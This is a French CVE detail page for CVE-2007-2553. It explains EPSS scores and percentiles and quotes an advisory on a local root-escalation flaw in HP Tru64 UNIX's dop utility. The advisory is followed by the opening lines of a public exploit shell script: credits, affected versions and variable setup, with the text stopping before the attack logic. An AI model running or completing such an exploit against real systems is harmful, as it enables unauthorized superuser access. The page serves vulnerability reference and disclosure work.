CVE-2007-2553 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/23881/info HP Tru64 for UNIX is prone to a local privilege-escalation vulnerability. Exploiting this issue allows local attackers to execute arbitrary code with superuser privileges. Successful exploits will result in a complete compromise of vulnerable computers. Failed exploit attempts will result in a denial of service. ---------------------8<---------------------8<--------------------- #!/bin/sh # # - Author/Credits: # Daniele Calore; orkaan <at> orkaan.org # # - Description: # HP Tru64 DOP Local Privilege Escalation Vulnerability # # UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation. # HP Security bulletin code identification: HPSBTU02211 SSRT071326 # Bugtraq ID: 23881 # # - Public Released: # 2007-05-09 # # - System Affected: # Tru64 5.1 (ALL) (Last PatchKit: T64v51B20AS0006-20030210 - PK6 - BL20) # Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24) # Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL26) # # - System NOT Tested: # Tru64 5.0 # # - System NOT Affected: # Tru64 4.0x (dop will allways require root password, also for user root) # # - More info: # http://www.orkaan.org/tru64/orkaan_-_exp_Tru64-5.X_SSRT071326.html # # ##################### # Defines: PATH="/sbin:/usr/sbin/:/bin:/usr/bin" DOP="/usr/sbin/dop" # Environment size target. # Change this value if you have problems.
